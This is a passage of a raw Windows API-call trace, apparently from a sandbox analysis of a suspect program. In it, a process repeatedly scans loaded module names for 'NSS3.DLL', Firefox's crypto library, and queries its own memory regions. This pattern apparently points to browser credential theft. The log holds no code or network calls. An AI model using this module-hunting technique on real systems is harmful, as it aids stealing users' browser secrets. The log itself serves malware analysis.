-1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.878] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.878] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.879] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75220000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x75220000, AllocationBase=0x75220000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.879] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.879] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.879] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.879] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="NSS3.DLL") returned 1 [0070.879] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="NSS3.DLL") returned 1 [0070.879] lstrcmpiA (lpString1="SspiCli.dll", lpString2="NSS3.DLL") returned 1 [0070.879] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.879] lstrcmpiA (lpString1="bcrypt.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="pcwum.dll", lpString2="NSS3.DLL") returned 1 [0070.879] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.879] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.879] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.879] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.879] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="SspiCli.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="bcrypt.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="pcwum.dll", lpString2="NSS3.DLL") returned 1 [0070.880] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.880] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.880] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="SspiCli.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.880] lstrcmpiA (lpString1="bcrypt.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="pcwum.dll", lpString2="NSS3.DLL") returned 1 [0070.880] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.880] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.880] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.880] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.881] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754e0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x754e0000, AllocationBase=0x754e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.881] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.881] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75050000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x75050000, AllocationBase=0x75050000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.881] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.881] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ea0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74ea0000, AllocationBase=0x74ea0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.881] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.881] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74e90000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74e90000, AllocationBase=0x74e90000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.881] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.881] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="NSS3.DLL") returned 1 [0070.881] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.881] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.881] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74b60000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74b60000, AllocationBase=0x74b60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.881] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75140000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x75140000, AllocationBase=0x75140000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76b30000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x76b30000, AllocationBase=0x76b30000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d40000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74d40000, AllocationBase=0x74d40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74d00000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74d00000, AllocationBase=0x74d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d60000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x76d60000, AllocationBase=0x76d60000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74ce0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74ce0000, AllocationBase=0x74ce0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.882] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x74cb0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x74cb0000, AllocationBase=0x74cb0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.882] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.882] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.883] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75890000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x75890000, AllocationBase=0x75890000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.883] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.883] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.883] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="RstrtMgr.DLL", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="WINMM.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="DEVMGR.DLL", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="dwmapi.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="urlmon.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="WININET.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="Secur32.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="profapi.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="USERENV.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="ole32.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="OLEACC.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="VERSION.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="MPR.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="dsrole.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="netutils.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="samcli.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="srvcli.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="wkscli.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="DAVHLPR.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="CSCAPI.dll", lpString2="NSS3.DLL") returned -1 [0070.883] lstrcmpiA (lpString1="slc.dll", lpString2="NSS3.DLL") returned 1 [0070.883] lstrcmpiA (lpString1="UxTheme.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="ntshrui.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="EFSUTIL.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="SHDOCVW.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="EFSADU.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="LINKINFO.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="DUser.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="DUI70.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="SETUPAPI.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="apphelp.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="WINBRAND.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="credui.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="WS2_32.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="gdiplus.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="IMM32.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="XmlLite.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="WINSTA.dll", lpString2="NSS3.DLL") returned 1 [0070.884] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.884] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.884] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76d00000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x76d00000, AllocationBase=0x76d00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.884] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.884] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.884] lstrcmpiA (lpString1="MPR.dll", lpString2="NSS3.DLL") returned -1 [0070.884] lstrcmpiA (lpString1="urlmon.dll", lpString2="NSS3.DLL") returned 1 [0070.884] lstrcmpiA (lpString1="SHELL32.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="ole32.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="apphelp.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="CRYPT32.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="WINTRUST.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="NSS3.DLL") returned -1 [0070.885] lstrcmpiA (lpString1="SETUPAPI.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="USERENV.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="VERSION.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="slc.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="wkscli.dll", lpString2="NSS3.DLL") returned 1 [0070.885] lstrcmpiA (lpString1="netutils.dll", lpString2="NSS3.DLL") returned -1 [0070.885] 